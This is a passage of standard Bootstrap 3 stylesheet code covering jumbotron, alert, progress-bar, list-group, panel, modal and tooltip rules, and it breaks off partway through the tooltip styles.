30px;\n color: inherit;\n background-color: #eeeeee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n color: inherit;\n}\n.jumbotron p {\n margin-bottom: 15px;\n font-size: 21px;\n font-weight: 200;\n}\n.jumbotron > hr {\n border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n border-radius: 6px;\n padding-left: 15px;\n padding-right: 15px;\n}\n.jumbotron .container {\n max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n .jumbotron {\n padding-top: 48px;\n padding-bottom: 48px;\n }\n .container .jumbotron,\n .container-fluid .jumbotron {\n padding-left: 60px;\n padding-right: 60px;\n }\n .jumbotron h1,\n .jumbotron .h1 {\n font-size: 63px;\n }\n}\n.thumbnail {\n display: block;\n padding: 4px;\n margin-bottom: 20px;\n line-height: 1.42857143;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 4px;\n -webkit-transition: border 0.2s ease-in-out;\n -o-transition: border 0.2s ease-in-out;\n transition: border 0.2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n margin-left: auto;\n margin-right: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n border-color: #337ab7;\n}\n.thumbnail .caption {\n padding: 9px;\n color: #333333;\n}\n.alert {\n padding: 15px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.alert h4 {\n margin-top: 0;\n color: inherit;\n}\n.alert .alert-link {\n font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n margin-bottom: 0;\n}\n.alert > p + p {\n margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n}\n.alert-success {\n background-color: #dff0d8;\n border-color: #d6e9c6;\n color: #3c763d;\n}\n.alert-success hr {\n border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n color: #2b542c;\n}\n.alert-info {\n background-color: #d9edf7;\n border-color: #bce8f1;\n color: #31708f;\n}\n.alert-info hr {\n border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n color: #245269;\n}\n.alert-warning {\n background-color: #fcf8e3;\n border-color: #faebcc;\n color: #8a6d3b;\n}\n.alert-warning hr {\n border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n color: #66512c;\n}\n.alert-danger {\n background-color: #f2dede;\n border-color: #ebccd1;\n color: #a94442;\n}\n.alert-danger hr {\n border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n@keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n.progress {\n overflow: hidden;\n height: 20px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: 12px;\n line-height: 20px;\n color: #fff;\n text-align: center;\n background-color: #337ab7;\n -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n -webkit-transition: width 0.6s ease;\n -o-transition: width 0.6s ease;\n transition: width 0.6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-size: 40px 40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n -webkit-animation: progress-bar-stripes 2s linear infinite;\n -o-animation: progress-bar-stripes 2s linear infinite;\n animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.media {\n margin-top: 15px;\n}\n.media:first-child {\n margin-top: 0;\n}\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n.media-body {\n width: 10000px;\n}\n.media-object {\n display: block;\n}\n.media-object.img-thumbnail {\n max-width: none;\n}\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n.media-middle {\n vertical-align: middle;\n}\n.media-bottom {\n vertical-align: bottom;\n}\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n.list-group {\n margin-bottom: 20px;\n padding-left: 0;\n}\n.list-group-item {\n position: relative;\n display: block;\n padding: 10px 15px;\n margin-bottom: -1px;\n background-color: #fff;\n border: 1px solid #ddd;\n}\n.list-group-item:first-child {\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n}\n.list-group-item:last-child {\n margin-bottom: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\na.list-group-item,\nbutton.list-group-item {\n color: #555;\n}\na.list-group-item .list-group-item-heading,\nbutton.list-group-item .list-group-item-heading {\n color: #333;\n}\na.list-group-item:hover,\nbutton.list-group-item:hover,\na.list-group-item:focus,\nbutton.list-group-item:focus {\n text-decoration: none;\n color: #555;\n background-color: #f5f5f5;\n}\nbutton.list-group-item {\n width: 100%;\n text-align: left;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n background-color: #eeeeee;\n color: #777777;\n cursor: not-allowed;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n color: #777777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n z-index: 2;\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n color: #c7ddef;\n}\n.list-group-item-success {\n color: #3c763d;\n background-color: #dff0d8;\n}\na.list-group-item-success,\nbutton.list-group-item-success {\n color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading,\nbutton.list-group-item-success .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-success:hover,\nbutton.list-group-item-success:hover,\na.list-group-item-success:focus,\nbutton.list-group-item-success:focus {\n color: #3c763d;\n background-color: #d0e9c6;\n}\na.list-group-item-success.active,\nbutton.list-group-item-success.active,\na.list-group-item-success.active:hover,\nbutton.list-group-item-success.active:hover,\na.list-group-item-success.active:focus,\nbutton.list-group-item-success.active:focus {\n color: #fff;\n background-color: #3c763d;\n border-color: #3c763d;\n}\n.list-group-item-info {\n color: #31708f;\n background-color: #d9edf7;\n}\na.list-group-item-info,\nbutton.list-group-item-info {\n color: #31708f;\n}\na.list-group-item-info .list-group-item-heading,\nbutton.list-group-item-info .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-info:hover,\nbutton.list-group-item-info:hover,\na.list-group-item-info:focus,\nbutton.list-group-item-info:focus {\n color: #31708f;\n background-color: #c4e3f3;\n}\na.list-group-item-info.active,\nbutton.list-group-item-info.active,\na.list-group-item-info.active:hover,\nbutton.list-group-item-info.active:hover,\na.list-group-item-info.active:focus,\nbutton.list-group-item-info.active:focus {\n color: #fff;\n background-color: #31708f;\n border-color: #31708f;\n}\n.list-group-item-warning {\n color: #8a6d3b;\n background-color: #fcf8e3;\n}\na.list-group-item-warning,\nbutton.list-group-item-warning {\n color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading,\nbutton.list-group-item-warning .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-warning:hover,\nbutton.list-group-item-warning:hover,\na.list-group-item-warning:focus,\nbutton.list-group-item-warning:focus {\n color: #8a6d3b;\n background-color: #faf2cc;\n}\na.list-group-item-warning.active,\nbutton.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\nbutton.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus,\nbutton.list-group-item-warning.active:focus {\n color: #fff;\n background-color: #8a6d3b;\n border-color: #8a6d3b;\n}\n.list-group-item-danger {\n color: #a94442;\n background-color: #f2dede;\n}\na.list-group-item-danger,\nbutton.list-group-item-danger {\n color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading,\nbutton.list-group-item-danger .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-danger:hover,\nbutton.list-group-item-danger:hover,\na.list-group-item-danger:focus,\nbutton.list-group-item-danger:focus {\n color: #a94442;\n background-color: #ebcccc;\n}\na.list-group-item-danger.active,\nbutton.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\nbutton.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus,\nbutton.list-group-item-danger.active:focus {\n color: #fff;\n background-color: #a94442;\n border-color: #a94442;\n}\n.list-group-item-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.list-group-item-text {\n margin-bottom: 0;\n line-height: 1.3;\n}\n.panel {\n margin-bottom: 20px;\n background-color: #fff;\n border: 1px solid transparent;\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.panel-body {\n padding: 15px;\n}\n.panel-heading {\n padding: 10px 15px;\n border-bottom: 1px solid transparent;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n color: inherit;\n}\n.panel-title {\n margin-top: 0;\n margin-bottom: 0;\n font-size: 16px;\n color: inherit;\n}\n.panel-title > a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n color: inherit;\n}\n.panel-footer {\n padding: 10px 15px;\n background-color: #f5f5f5;\n border-top: 1px solid #ddd;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n border-width: 1px 0;\n border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n border-top: 0;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n border-bottom: 0;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n border-top-width: 0;\n}\n.list-group + .panel-footer {\n border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n padding-left: 15px;\n padding-right: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n border-top-left-radius: 3px;\n border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n border-bottom-left-radius: 3px;\n border-bottom-right-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n border-top: 1px solid #ddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n border-bottom: 0;\n}\n.panel > .table-responsive {\n border: 0;\n margin-bottom: 0;\n}\n.panel-group {\n margin-bottom: 20px;\n}\n.panel-group .panel {\n margin-bottom: 0;\n border-radius: 4px;\n}\n.panel-group .panel + .panel {\n margin-top: 5px;\n}\n.panel-group .panel-heading {\n border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n border-top: 1px solid #ddd;\n}\n.panel-group .panel-footer {\n border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n border-bottom: 1px solid #ddd;\n}\n.panel-default {\n border-color: #ddd;\n}\n.panel-default > .panel-heading {\n color: #333333;\n background-color: #f5f5f5;\n border-color: #ddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ddd;\n}\n.panel-default > .panel-heading .badge {\n color: #f5f5f5;\n background-color: #333333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ddd;\n}\n.panel-primary {\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #337ab7;\n}\n.panel-success {\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n color: #3c763d;\n background-color: #dff0d8;\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n color: #dff0d8;\n background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #d6e9c6;\n}\n.panel-info {\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n color: #31708f;\n background-color: #d9edf7;\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n color: #d9edf7;\n background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #bce8f1;\n}\n.panel-warning {\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n color: #8a6d3b;\n background-color: #fcf8e3;\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n color: #fcf8e3;\n background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #faebcc;\n}\n.panel-danger {\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n color: #a94442;\n background-color: #f2dede;\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n color: #f2dede;\n background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n position: relative;\n display: block;\n height: 0;\n padding: 0;\n overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n height: 100%;\n width: 100%;\n border: 0;\n}\n.embed-responsive-16by9 {\n padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n padding-bottom: 75%;\n}\n.well {\n min-height: 20px;\n padding: 19px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border: 1px solid #e3e3e3;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.well blockquote {\n border-color: #ddd;\n border-color: rgba(0, 0, 0, 0.15);\n}\n.well-lg {\n padding: 24px;\n border-radius: 6px;\n}\n.well-sm {\n padding: 9px;\n border-radius: 3px;\n}\n.close {\n float: right;\n font-size: 21px;\n font-weight: bold;\n line-height: 1;\n color: #000;\n text-shadow: 0 1px 0 #fff;\n opacity: 0.2;\n filter: alpha(opacity=20);\n}\n.close:hover,\n.close:focus {\n color: #000;\n text-decoration: none;\n cursor: pointer;\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\nbutton.close {\n padding: 0;\n cursor: pointer;\n background: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n.modal-open {\n overflow: hidden;\n}\n.modal {\n display: none;\n overflow: hidden;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1050;\n -webkit-overflow-scrolling: touch;\n outline: 0;\n}\n.modal.fade .modal-dialog {\n -webkit-transform: translate(0, -25%);\n -ms-transform: translate(0, -25%);\n -o-transform: translate(0, -25%);\n transform: translate(0, -25%);\n -webkit-transition: -webkit-transform 0.3s ease-out;\n -moz-transition: -moz-transform 0.3s ease-out;\n -o-transition: -o-transform 0.3s ease-out;\n transition: transform 0.3s ease-out;\n}\n.modal.in .modal-dialog {\n -webkit-transform: translate(0, 0);\n -ms-transform: translate(0, 0);\n -o-transform: translate(0, 0);\n transform: translate(0, 0);\n}\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 10px;\n}\n.modal-content {\n position: relative;\n background-color: #fff;\n border: 1px solid #999;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n background-clip: padding-box;\n outline: 0;\n}\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n background-color: #000;\n}\n.modal-backdrop.fade {\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.modal-backdrop.in {\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\n.modal-header {\n padding: 15px;\n border-bottom: 1px solid #e5e5e5;\n}\n.modal-header .close {\n margin-top: -2px;\n}\n.modal-title {\n margin: 0;\n line-height: 1.42857143;\n}\n.modal-body {\n position: relative;\n padding: 15px;\n}\n.modal-footer {\n padding: 15px;\n text-align: right;\n border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n margin-left: 5px;\n margin-bottom: 0;\n}\n.modal-footer .btn-group .btn + .btn {\n margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n margin-left: 0;\n}\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n@media (min-width: 768px) {\n .modal-dialog {\n width: 600px;\n margin: 30px auto;\n }\n .modal-content {\n -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n }\n .modal-sm {\n width: 300px;\n }\n}\n@media (min-width: 992px) {\n .modal-lg {\n width: 900px;\n }\n}\n.tooltip {\n position: absolute;\n z-index: 1070;\n display: block;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n font-size: 12px;\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.tooltip.in {\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.tooltip.top {\n margin-top: -3px;\n padding: 5px 0;\n}\n.tooltip.right {\n margin-left: 3px;\n padding: 0 5px;\n}\n.tooltip.bottom {\n margin-top: 3px;\n padding: 5px 0;\n}\n.tooltip.left {\n margin-left: -3px;\n padding: 0 5px;\n}\n.tooltip-inner {\n max-width: 200px;\n padding: 3px 8px;\n color: 